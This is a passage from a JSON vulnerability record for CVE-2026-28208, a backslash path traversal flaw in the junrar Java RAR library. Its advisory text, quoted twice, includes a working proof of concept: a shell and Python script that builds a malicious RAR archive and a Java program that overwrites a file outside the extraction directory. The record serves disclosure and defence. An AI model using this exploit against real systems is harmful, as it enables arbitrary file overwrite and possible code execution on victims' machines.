Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" > /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file  (should show 'Existing File')\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()'s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n    static final String TARGET = \"/tmp/existing-file\";\n    static final String ARCHIVE = \"malicious.rar\";\n\n    public static void main(String[] args) throws Exception {\n        File archive = new File(ARCHIVE);\n        if (!archive.exists()) {\n            archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n        }\n\n        // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n        File target = new File(TARGET);\n        if (!target.exists()) {\n            System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n            System.exit(1);\n        }\n\n        System.out.println(\"Before extraction:\");\n        System.out.println(\"  \" + TARGET + \" => \" + Files.readString(Path.of(TARGET)).trim());\n        System.out.println();\n\n        // Step 2: Extract the malicious archive\n        Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n        System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n        try {\n            Junrar.extract(archive, extractDir.toFile());\n        } catch (Exception e) {\n            System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n        }\n        System.out.println();\n\n        // Step 3: Show the result\n        System.out.println(\"After extraction:\");\n        String content = Files.readString(Path.of(TARGET)).trim();\n        System.out.println(\"  \" + TARGET + \" => \" + content);\n        System.out.println();\n\n        if (content.equals(\"Overwritten\")) {\n            System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n        } else {\n            System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n        }\n    }\n}\n```",
                    "title": "github - https://github.com/advisories/GHSA-j273-m5qq-6825"
                },
                {
                    "category": "description",
                    "text": "No description is available for this CVE.",
                    "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-28208"
                },
                {
                    "category": "description",
                    "text": "Junrar is an open source java RAR archive library. Prior to version 7.5.8, a backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc). Version 7.5.8 has a fix for the issue.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-28208.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "### Summary\n\nA backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).\n\n### Details\n\nThe `createFile()` method in [`LocalFolderExtractor.java`](https://github.com/junrar/junrar/blob/master/src/main/java/com/github/junrar/LocalFolderExtractor.java) validates extraction paths using `getCanonicalPath().startsWith()` to ensure files stay within the destination directory:\n\n```java\nFile f = new File(destination, name);\nString dirCanonPath = f.getCanonicalPath();\nif (!dirCanonPath.startsWith(destination.getCanonicalPath())) {\n    throw new IllegalStateException(\"Rar contains file with invalid path: '\" + dirCanonPath + \"'\");\n}\n```\n\nOn Linux/Unix, backslashes are literal filename characters, not path separators. A RAR entry named `..\\..\\tmp\\evil.txt` is treated by `getCanonicalPath()` as a single literal filename containing backslash characters — no `..` resolution occurs, and the `startsWith` check passes.\n\nHowever, `makeFile()` then splits the filename on backslashes and reconstructs the path using the platform's file separator:\n\n```java\nfinal String[] dirs = name.split(\"\\\\\\\\\");\n// dirs = [\"..\", \"..\", \"tmp\", \"evil.txt\"]\n// ...\npath = path + File.separator + dirs[i];  // File.separator is \"/\" on Linux\n```\n\nThis converts the literal backslashes into real directory traversal: `../../tmp/evil.txt`. The `extract()` method then opens a `FileOutputStream` on this path and writes the RAR entry's content to it, achieving arbitrary file write outside the extraction directory.\n\nOn Windows this is not exploitable because backslashes are path separators, so `getCanonicalPath()` correctly resolves the `..` components and the `startsWith` check blocks the traversal.\n\n**Affected versions:** Tested on 7.5.7 (latest). Likely affects all versions that include the `makeFile()` backslash-splitting logic in `LocalFolderExtractor`.\n\n### PoC (Files Below)\n\n**Prerequisites:** Linux/Unix system with Java 17+ and Maven installed.\n\n1. Run `bash poc_setup.sh` which installs junrar 7.5.7 via Maven, creates a malicious RAR archive containing an entry with a backslash-traversal filename (`..\\..\\tmp\\existing-file`), and creates `/tmp/existing-file` with the content \"Existing File\" to simulate a pre-existing file.\n2. Run `mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q`\n3. Observe the output shows `/tmp/existing-file` was overwritten from \"Existing File\" to \"Overwritten\", confirming the file outside the extraction directory was written with attacker-controlled content.\n\nThe PoC uses `Junrar.extract()` — the standard public API for extracting RAR archives.\n\n### Impact\n\nAny application that extracts user-supplied RAR archives using junrar on Linux/Unix is vulnerable to arbitrary file write/overwrite with attacker-controlled content. This can often lead to RCE.\n\nThis affects all Linux/Unix deployments. Windows is not affected.\n\n## POC Files\n\n**poc_setup.sh**\n```\n#!/bin/bash\n# Setup script for junrar backslash path traversal PoC\n# Vulnerability: CWE-22/CWE-29 - Backslash path traversal bypass in LocalFolderExtractor\n# Package: com.github.junrar:junrar 7.5.7 (Java)\n\nset -e\n\n# Use the directory where this script lives as the working directory\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\ncd \"$SCRIPT_DIR\"\n\necho \"=== Setting up junrar backslash path traversal PoC ===\"\necho \"Working directory: $SCRIPT_DIR\"\n\n# Clean up artifacts from previous runs\nrm -f malicious.rar\nrm -rf target extraction-output\n\n# Verify Java and Maven are available\njava -version 2>&1 | head -1 || { echo \"ERROR: Java not found\"; exit 1; }\nmvn -version 2>&1 | head -1 || { echo \"ERROR: Maven not found\"; exit 1; }\n\n# Create Maven project\ncat > pom.xml << 'POMEOF'\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>com.test</groupId>\n    <artifactId>junrar-poc</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n    <properties>\n        <maven.compiler.source>17</maven.compiler.source>\n        <maven.compiler.target>17</maven.compiler.target>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>com.github.junrar</groupId>\n            <artifactId>junrar</artifactId>\n            <version>7.5.7</version>\n        </dependency>\n    </dependencies>\n</project>\nPOMEOF\n\n# Install dependencies\necho \"Installing junrar 7.5.7...\"\nmvn dependency:resolve -q\n\n# Copy and compile PoC\nmkdir -p src/main/java/com/test\ncp poc.java src/main/java/com/test/BackslashTraversalPoC.java\necho \"Compiling PoC...\"\nmvn compile -q\n\n# Verify junrar version\necho \"Installed: junrar 7.5.7\"\n\n# Create the malicious RAR3 archive:\n#   Entry 1: file with name \"..\\..\\tmp\\existing-file\" containing \"Overwritten\"\n#\n# On Linux, createFile() validates the path using getCanonicalPath().startsWith().\n# Since backslashes are literal characters on Linux, getCanonicalPath() does NOT\n# resolve the \"..\" components, so the check passes. makeFile() then splits on\n# backslashes and joins with File.separator (/), converting the literal backslashes\n# into real directory traversal: ../../tmp/existing-file\npython3 << 'PYEOF'\nimport struct, zlib\n\nRAR3_MAGIC = b'Rar!\\x1a\\x07\\x00'\nRAR_BLOCK_MAIN = 0x73\nRAR_BLOCK_FILE = 0x74\nRAR_BLOCK_ENDARC = 0x7b\nRAR_LONG_BLOCK = 0x8000\nRAR_OS_UNIX = 3\nRAR_M0 = 0x30      # Store (no compression)\nS_IFREG = 0o100000\n\ndef crc16(data):\n    return zlib.crc32(data) & 0xFFFF\n\ndef main_header():\n    # Standard RAR3 main archive header (non-encrypted)\n    # After the 7-byte base block: HighPosAv (2 bytes) + PosAv (4 bytes)\n    # junrar always reads exactly 6 bytes here (MainHeader.mainHeaderSize = 6)\n    extra = struct.pack('<HI', 0, 0)  # HighPosAv=0, PosAv=0\n    header_data = struct.pack('<BHH', RAR_BLOCK_MAIN, 0, 7 + len(extra)) + extra\n    return struct.pack('<H', crc16(header_data)) + header_data\n\ndef file_block(filename, file_data):\n    fname = filename.encode('utf-8')\n    data = file_data.encode('utf-8')\n    mode = S_IFREG | 0o644\n    # UNP_VER=0: junrar's doUnpack() calls unstoreFile() when method==0x30,\n    # then falls through to a switch on UNP_VER. Using 0 avoids matching any\n    # decompression case (15/20/26/29/36), so only unstoreFile() runs.\n    file_hdr = struct.pack('<LLBLLBBHL',\n        len(data), len(data), RAR_OS_UNIX,\n        zlib.crc32(data) & 0xFFFFFFFF, 0x5A210000,\n        0, RAR_M0, len(fname), mode)\n    header_body = struct.pack('<BHH', RAR_BLOCK_FILE, RAR_LONG_BLOCK,\n        7 + len(file_hdr) + len(fname)) + file_hdr + fname\n    return struct.pack('<H', crc16(header_body)) + header_body + data\n\ndef endarc():\n    # junrar's EndArcHeader.isValid() requires flags=0x4000 and CRC=0x3DC4\n    header_data = struct.pack('<BHH', RAR_BLOCK_ENDARC, 0x4000, 7)\n    crc = crc16(header_data)\n    return struct.pack('<H', crc) + header_data\n\narchive = bytearray()\narchive += RAR3_MAGIC\narchive += main_header()\n# Backslash-separated path: on Linux, createFile() sees literal backslashes,\n# but makeFile() splits on them and joins with /\narchive += file_block('..\\\\..\\\\tmp\\\\existing-file', 'Overwritten\\n')\narchive += endarc()\n\nwith open('malicious.rar', 'wb') as f:\n    f.write(archive)\nPYEOF\necho \"Created malicious.rar\"\n\n# Create the target file so it can be validated before running the payload\nprintf \"Existing File\\n\" > /tmp/existing-file\n\necho \"\"\necho \"=== Setup complete ===\"\necho \"Validate: cat /tmp/existing-file  (should show 'Existing File')\"\necho \"Run PoC: mvn exec:java -Dexec.mainClass='com.test.BackslashTraversalPoC' -q\"\n```\n\n**poc.java**\n```\npackage com.test;\n\nimport com.github.junrar.Junrar;\nimport java.io.File;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\n\n/**\n * PoC: Backslash path traversal bypass in junrar 7.5.7\n *\n * A RAR archive containing an entry with backslash-separated \"..\" components\n * bypasses the createFile() canonical path validation on Linux and writes\n * files outside the extraction directory via makeFile()'s path reconstruction.\n */\npublic class BackslashTraversalPoC {\n\n    static final String TARGET = \"/tmp/existing-file\";\n    static final String ARCHIVE = \"malicious.rar\";\n\n    public static void main(String[] args) throws Exception {\n        File archive = new File(ARCHIVE);\n        if (!archive.exists()) {\n            archive = new File(new File(System.getProperty(\"user.dir\")).getParent(), ARCHIVE);\n        }\n\n        // Step 1: Verify the pre-existing file (created by poc_setup.sh)\n        File target = new File(TARGET);\n        if (!target.exists()) {\n            System.out.println(\"ERROR: \" + TARGET + \" not found. Run poc_setup.sh first.\");\n            System.exit(1);\n        }\n\n        System.out.println(\"Before extraction:\");\n        System.out.println(\"  \" + TARGET + \" => \" + Files.readString(Path.of(TARGET)).trim());\n        System.out.println();\n\n        // Step 2: Extract the malicious archive\n        Path extractDir = Files.createTempDirectory(\"junrar-poc-\");\n        System.out.println(\"Extracting \" + archive.getAbsolutePath() + \" into \" + extractDir + \" ...\");\n        try {\n            Junrar.extract(archive, extractDir.toFile());\n        } catch (Exception e) {\n            System.out.println(\"Extraction error (may be expected): \" + e.getMessage());\n        }\n        System.out.println();\n\n        // Step 3: Show the result\n        System.out.println(\"After extraction:\");\n        String content = Files.readString(Path.of(TARGET)).trim();\n        System.out.println(\"  \" + TARGET + \" => \" + content);\n        System.out.println();\n\n        if (content.equals(\"Overwritten\")) {\n            System.out.println(\"VULNERABLE: junrar 7.5.7 backslash traversal overwrote \" + TARGET);\n        } else {\n            System.out.println(\"NOT VULNERABLE: file contents unchanged\");\n        }\n    }\n}\n```",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Maven%2FGHSA-j273-m5qq-6825.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "A backslash path traversal vulnerability in `LocalFolderExtractor` allows an attacker to write arbitrary files with attacker-controlled content anywhere on the filesystem when a crafted RAR archive is extracted on Linux/Unix. This can often lead to remote code execution (e.g., overwriting shell profiles, source code, cron jobs, etc).",
                    "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/maven%2Fcom.github.junrar%2Fjunrar%2FCVE-2026-28208.yml/raw"
                },
                {
                    "category": "other",
                    "text": "0.00137",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "4.3",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Exploit code publicly available, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 2\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "fixed": [
                    "CSAFPID-5961933"
                ],
                "known_affected": [
                    "CSAFPID-5733118",
                    "CSAFPID-5736023",
                    "CSAFPID-1439294",
                    "CSAFPID-1439302",
                    "CSAFPID-1439304",
                    "CSAFPID-5736865",
                    "CSAFPID-5736866",
                    "CSAFPID-5736867",
                    "CSAFPID-3271945",
                    "CSAFPID-3271946",
                    "CSAFPID-3271947",
                    "CSAFPID-4263957",
                    "CSAFPID-4263958",
                    "CSAFPID-4263959",
                    "CSAFPID-4263960",
                    "CSAFPID-4263961",
                    "CSAFPID-4263962",
                    "CSAFPID-4263963",
                    "CSAFPID-4263964",
                    "CSAFPID-4263965",
                    "CSAFPID-4263966",
                    "CSAFPID-4263967",
                    "CSAFPID-4263968",
                    "CSAFPID-4263969",
                    "CSAFPID-4263970",
                    "CSAFPID-4263971",
                    "CSAFPID-5749570",
                    "CSAFPID-5749571",
                    "CSAFPID-5749572",
                    "CSAFPID-5749573",
                    "CSAFPID-5749574",
                    "CSAFPID-5749575",
                    "CSAFPID-5749576",
                    "CSAFPID-5749577",
                    "CSAFPID-5749578",
                    "CSAFPID-4926333",
                    "CSAFPID-4926334",
                    "CSAFPID-4926335",
                    "CSAFPID-4926336",
                    "CSAFPID-4926337",
                    "CSAFPID-4926338",
                    "CSAFPID-4926339",
                    "CSAFPID-4926340",
                    "CSAFPID-4926341",
                    "CSAFPID-4926342",
                    "CSAFPID-4926343",
                    "CSAFPID-4926344",
                    "CSAFPID-4926345",
                    "CSAFPID-4926346",
                    "CSAFPID-4926347",
                    "CSAFPID-5751058",
                    "CSAFPID-5751059",
                    "CSAFPID-5751060",
                    "CSAFPID-5751061",
                    "CSAFPID-5751062",
                    "CSAFPID-5751063",
                    "CSAFPID-5751064",
                    "CSAFPID-5751065",
                    "CSAFPID-5751066",
                    "CSAFPID-5751067"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28208.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-j273-m5qq-6825"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-j273-m5qq-6825"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Source raw - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-28208.json"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-28208.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Maven%2FGHSA-j273-m5qq-6825.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - gitlab",
                    "url": "https://gitlab.com/api/v4/projects/25847700/repository/files/maven%2Fcom.github.junrar%2Fjunrar%2FCVE-2026-28208.yml/raw"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat",
                    "url": "https://github.com/junrar/junrar/security/advisories/GHSA-j273-m5qq-6825"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat",
                    "url": "https://github.com/junrar/junrar/commit/947ff1d33f00f940aa68ae2593500291d799d954"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; gitlab; nvd; osv; redhat",
                    "url": "https://github.com/junrar/junrar/releases/tag/v7.5.8"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab; osv; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; gitlab",
                    "url": "https://github.com/advisories/GHSA-j273-m5qq-6825"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-28208"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/28xxx/CVE-2026-28208.json"
                },
                {
                    "category": "external",
                    "summary": "Reference - gitlab",
                    "url": "https://github.com/junrar/junrar"
                }
            ],
            "remediations": [
                {
                    "category": "mitigation",
                    "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
                    "product_ids": [
                        "CSAFPID-1439294",
                        "CSAFPID-1439302",
                        "CSAFPID-1439304",
                        "CSAFPID-5736865",
                        "CSAFPID-5736866",
                        "CSAFPID-5736867"
                    ]
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
                        "baseScore": 5.9,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-1439294",
                        "CSAFPID-1439302",
                        "CSAFPID-1439304",
                        "CSAFPID-3271945",
                        "CSAFPID-3271946",
                        "CSAFPID-3271947",
                        "CSAFPID-4263957",
                        "CSAFPID-4263958",
                        "CSAFPID-4263959",
                        "CSAFPID-4263960",
                        "CSAFPID-4263961",
                        "CSAFPID-4263962",
                        "CSAFPID-4263963",
                        "CSAFPID-4263964",
                        "CSAFPID-4263965",
                        "CSAFPID-4263966",
                        "CSAFPID-4263967",
                        "CSAFPID-4263968",
                        "CSAFPID-4263969",
                        "CSAFPID-4263970",
                        "CSAFPID-4263971",
                        "CSAFPID-4926333",
                        "CSAFPID-4926334",
                        "CSAFPID-4926335",
                        "CSAFPID-4926336",
                        "CSAFPID-4926337",
                        "CSAFPID-4926338",
                        "CSAFPID-4926339",
                        "CSAFPID-4926340",
                        "CSAFPID-4926341",
                        "CSAFPID-4926342",
                        "CSAFPID-4926343",
                        "CSAFPID-4926344",
                        "CSAFPID-4926345",
                        "CSAFPID-4926346",
                        "CSAFPID-4926347",
                        "CSAFPID-5733118",
                        "CSAFPID-5736023",
                        "CSAFPID-5736865",
                        "CSAFPID-5736866",
                        "CSAFPID-5736867",
                        "CSAFPID-5749570",
                        "CSAFPID-5749571",
                        "CSAFPID-5749572",
                        "CSAFPID-5749573",
                        "CSAFPID-5749574",
                        "CSAFPID-5749575",
                        "CSAFPID-5749576",
                        "CSAFPID-5749577",
                        "CSAFPID-5749578",
                        "CSAFPID-5751058",
                        "CSAFPID-5751059",
                        "CSAFPID-5751060",
                        "CSAFPID-5751061",
                        "CSAFPID-5751062",
                        "CSAFPID-5751063",
                        "CSAFPID-5751064",
                        "CSAFPID-5751065",
                        "CSAFPID-5751066",
                        "CSAFPID-5751067"
                    ]
                }
            ],
            "title": "CVE-2026-28208"
        }
    ]
}